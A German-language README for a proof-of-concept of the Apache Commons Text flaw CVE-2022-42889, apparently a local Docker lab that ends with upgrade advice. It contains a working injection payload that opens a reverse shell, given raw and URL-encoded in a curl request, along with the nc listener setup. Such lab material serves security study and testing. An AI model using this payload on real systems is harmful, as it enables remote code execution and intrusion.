CVE-2022-42889-POC

Proof-of-Concept für die Apache Commons-Text-Sicherheitslücke CVE-2022-42889.

Das Problem :

Apache Commons Text führt variable Interpolation durch, sodass Eigenschaften dynamisch ausgewertet und erweitert werden können. Das Standardformat für die Interpolation ist „${prefix:name}“, wobei „prefix“ verwendet wird, um eine Instanz von org.apache.commons.text.lookup.StringLookup zu finden, die die Interpolation durchführt. Ab Version 1.5 bis einschließlich 1.9 enthielt die Menge der standardmäßigen Lookup-Instanzen Interpolatoren, die zu beliebiger Codeausführung oder Kontakt mit entfernten Servern führen konnten. Diese Lookups sind: - "script" – Ausdrücke mit der JVM-Skriptausführungsengine ausführen (javax.script) - "dns" – DNS-Einträge auflösen - "url" – Werte von URLs laden, einschließlich von entfernten Servern. Anwendungen, die die Interpolationsstandardwerte in den betroffenen Versionen verwenden, können anfällig für Remote-Code-Ausführung oder unbeabsichtigten Kontakt mit entfernten Servern sein, wenn nicht vertrauenswürdige Konfigurationswerte verwendet werden.

Betroffene Versionen :

Apache Commons Text Version 1.5 bis 1.9

Schritt-für-Schritt-Anleitung zur Demonstration der CVE-2022-42889-POC-Sicherheitslücke :

1. Bauen Sie die Anwendung mit Docker (Terminal Tab 1)

docker build --tag=test/text4shell .

2. Führen Sie die Anwendung aus(Terminal Tab 2)

docker run -it -p 80:8080 --name text4shell test/text4shell

3. Öffnen Sie einen neuen Terminal-Tab und führen Sie den folgenden Befehl aus(Terminal Tab 3)

docker exec -it text4shell /bin/bash

4. Starten Sie nun den Listener für die Reverse-Shell auf Ihrem lokalen System(Terminal Tab 4)

nc -nlvp 8888

5. Testen Sie die App (Terminal Tab 5)

curl http://localhost/text4shell/attack?search=<anything>

6. Testen Sie nun den Angriff (Terminal Tab 5)

Der Angriff kann durch Übergabe eines Strings "${prefix:name}" durchgeführt werden, wobei das Präfix das oben genannte Lookup ist: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}

curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D

7. Gehen Sie nun zu Terminal Tab 3 und führen Sie die folgenden Befehle nacheinander aus

pwd
cd /root
pwd
ls

8. Gehen Sie nun zu Terminal Tab 5 und führen Sie die folgenden Befehle nacheinander aus

pwd
cd /root
pwd
ls
touch hacked.txt
ls

9. Gehen Sie nun zu Terminal Tab 3 und führen Sie die folgenden Befehle nacheinander aus

pwd
ls

Wenn Sie nach dem ls-Befehl auf Terminal Tab 3 die Datei hacked.txt sehen können, ist der Angriff ausgeführt.

10. Schließen Sie alle Terminals

So beheben Sie diese Sicherheitslücke :

Benutzern wird empfohlen, auf Apache Commons Text 1.10.0 zu aktualisieren, das die problematischen Interpolatoren standardmäßig deaktiviert.

Weitere Informationen :

• NVD-NIST